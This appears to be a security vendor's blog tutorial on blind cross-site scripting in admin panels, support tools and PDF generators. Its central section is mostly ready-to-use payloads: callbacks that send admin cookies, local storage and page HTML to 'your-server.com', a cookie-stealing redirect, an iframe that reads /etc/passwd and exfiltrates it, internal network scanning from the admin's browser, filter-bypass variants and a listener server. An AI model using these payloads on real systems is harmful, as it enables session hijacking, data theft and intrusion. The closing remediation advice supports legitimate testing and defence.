Blind XSS Testing: Finding Stored XSS That Fires in Admin Panels

Standard XSS testing assumes you can observe the output: you submit a payload, the page reflects it back, you see the alert box. Blind XSS breaks this assumption. The payload is stored by the application and rendered somewhere you don't have access to — an admin dashboard, a support ticket queue, a logging interface, a PDF export, or an internal CRM.

Blind XSS is often the highest-impact variant of stored XSS. When it fires in an admin panel, it executes in the context of an authenticated administrator's browser — their session cookie, their CSRF tokens, their access to every privileged function in the application. The attack surface is wide and the detection is non-obvious, which is why it survives in applications that have otherwise invested in XSS prevention.

How Blind XSS Differs from Regular Stored XSS

Regular stored XSS: you submit a payload, you view the page that renders it, the payload fires in your own browser. Blind XSS: you submit a payload in a field that flows into a backend system, an admin or support agent views a dashboard that renders the data, and the payload fires in their browser instead of yours. You only know it worked if your payload phones home — an out-of-band callback.

The defining characteristic is the delay and the indirect observation. You can't see the output, so you need your payload to report back when it fires.

High-Value Injection Points

Blind XSS lives in the gap between user-controlled input and admin-rendered output. The places to probe:

Support and Customer Service Flows

User Profile Fields

Application Data Flows

PDF and Report Generation

Applications that generate PDFs using headless browsers (Puppeteer, wkhtmltopdf, PhantomJS) present a distinct variant. XSS here doesn't fire in a human browser, but it can still make server-side HTTP requests, read files from the server's filesystem using file:// URLs, or call internal APIs — turning an XSS payload into a server-side SSRF.

Setting Up Out-of-Band Detection

Since you can't observe the payload firing directly, you need it to call back to a server you control. The callback should capture the URL of the page where it fired, the admin's session cookies (if HttpOnly is not set), the DOM content, and local storage.

XSS Hunter

XSS Hunter (trufflesecurity/xsshunter-client) is the standard tool. You get a unique subdomain and use it as the callback URL. When the payload fires, it captures page context and sends it to your instance.

<!-- XSS Hunter payload -->
<script src="https://yourname.xss.ht"></script>

<!-- Alternative: self-hosted out-of-band callback -->
<img src=x onerror="
  fetch('https://your-server.com/callback', {
    method: 'POST',
    body: JSON.stringify({
      url: location.href,
      cookies: document.cookie,
      storage: JSON.stringify(localStorage),
      html: document.documentElement.innerHTML.substring(0, 8000)
    }),
    headers: {'Content-Type': 'application/json'},
    mode: 'no-cors'
  })
">

Simple Callback Server

# Minimal Node.js listener for blind XSS callbacks
const http = require('http');
http.createServer((req, res) => {
    let body = '';
    req.on('data', chunk => body += chunk);
    req.on('end', () => {
        console.log('[BLIND XSS]', new Date().toISOString());
        console.log('Page:', req.url);
        console.log('IP:', req.socket.remoteAddress);
        if (body) {
            try { console.log(JSON.stringify(JSON.parse(body), null, 2)); }
            catch(e) { console.log(body); }
        }
        res.setHeader('Access-Control-Allow-Origin', '*');
        res.end('ok');
    });
}).listen(8080);

# Expose locally with:
# ngrok http 8080

Payload Strategy

Base Payloads by Context

<!-- Inside HTML body (most common) -->
<script src="https://your-server.com/b.js"></script>

<!-- If filtered: SVG vector -->
<svg onload="new Image().src='https://your-server.com/b?c='+document.cookie">

<!-- Attribute injection (field value rendered in HTML attribute) -->
" onfocus="fetch('https://your-server.com/b')" autofocus="

<!-- Inside existing script context -->
';fetch('https://your-server.com/b');//

<!-- Inside JSON that gets eval()'d -->
"}; fetch('https://your-server.com/b'); //

<!-- For PDF generation via headless browser -->
<iframe src="file:///etc/passwd"
  onload="fetch('https://your-server.com/b?d='+btoa(this.contentDocument.body.innerText))">
</iframe>

Use Unique Payloads per Injection Point

Track where each payload fires by embedding a unique identifier in each callback URL. When the callback arrives, you know exactly which field triggered it:

<!-- Unique ID per field -->
<script src="https://your-server.com/b.js?id=firstname"></script>
<script src="https://your-server.com/b.js?id=company"></script>
<script src="https://your-server.com/b.js?id=supportticket-subject"></script>

# When callback arrives at /b.js?id=supportticket-subject
# you know the support ticket subject field is the vulnerable point.

Handling Filters

Admin tools often have less strict input filtering than public-facing forms. But some filters are in place. Common bypass strategies:

<!-- Uppercase variations -->
<SCRIPT SRC="https://your-server.com/b.js"></SCRIPT>
<ScRiPt Src="https://your-server.com/b.js"></ScRiPt>

<!-- Alternate script loading -->
<link rel="import" href="https://your-server.com/b.html">
<object data="https://your-server.com/b.svg">

<!-- No quotes -->
<svg onload=fetch('https://your-server.com/b')>

<!-- HTML entity encoding -->
<img src=x onerror=fetch('https://your-server.com/b')>

<!-- Avoiding "script" keyword -->
<body onload="[].constructor.constructor('fetch(\'https://your-server.com/b\')')();">

What to Do When the Payload Fires

When your callback server receives a hit, you have proof of execution. Escalate by extracting:

Session Takeover (if cookies aren't HttpOnly)

<img src=x onerror="
  document.location='https://your-server.com/steal?c='+encodeURIComponent(document.cookie)
">

Admin DOM Exfiltration

<img src=x onerror="
  fetch('https://your-server.com/dom', {
    method: 'POST',
    body: document.documentElement.outerHTML,
    mode: 'no-cors'
  })
">

The admin DOM reveals the structure of the admin panel, which endpoints it calls, what data it displays, and what CSRF tokens look like — all useful for follow-up exploitation.

Internal Network Scanning via the Admin Browser

<img src=x onerror="
  // Probe internal services via the admin's browser
  const targets = [
    'http://localhost:8080',
    'http://192.168.1.1',
    'http://10.0.0.1/admin'
  ];
  targets.forEach(url => {
    fetch(url).then(r => r.text()).then(body => {
      fetch('https://your-server.com/probe?url='+encodeURIComponent(url), {
        method: 'POST', body, mode: 'no-cors'
      });
    }).catch(() => {});
  });
">

Common Findings and Their Severity

Finding Impact CVSS
Blind XSS in admin panel (session not HttpOnly) Full admin account takeover 9.0+ Critical
Blind XSS in admin panel (HttpOnly cookies) Admin DOM exfil, CSRF, internal network scan 7.5–8.5 High
Blind XSS in PDF generator (headless browser) SSRF, file read, internal API access 7.5–9.0 High/Critical
Blind XSS in support tool (non-admin context) Agent account access, data exfiltration 6.0–7.5 Medium/High
Blind XSS in error tracker (Sentry, etc.) Error log access, potential token exposure 5.0–7.0 Medium

Remediation

Apply output encoding everywhere, including admin interfaces. Admin panels are not trusted environments from a security perspective. All user-controlled data rendered in admin views must be HTML-encoded before rendering — including data from fields developers assume are safe (user names, company names, support ticket content).

Implement Content Security Policy in admin interfaces. A strict CSP (script-src 'self' without unsafe-inline) prevents injected scripts from executing even if the encoding is missed. Admin panels often have looser CSPs than public pages — close that gap.

Set HttpOnly on session cookies. This prevents the most direct account takeover path from blind XSS. It doesn't prevent all exploitation (DOM exfiltration and CSRF remain viable) but significantly raises the bar.

Sanitize rich text with a secure library. If admin interfaces must render formatted user content (HTML), use a server-side sanitization library (DOMPurify on the server, or similar) with a restrictive allowlist — never a blocklist.

Test admin interfaces in your security assessments. Most penetration tests focus on the public-facing application. Admin panels, support tools, and internal dashboards deserve explicit test coverage, including blind XSS probes in all user-controlled fields that flow into those interfaces.

Ironimo probes both public-facing endpoints and authenticated flows for stored XSS vulnerabilities, including patterns that indicate blind XSS risk — fields that accept user input and flow into backend administrative interfaces.

Start free scan
← Back to blog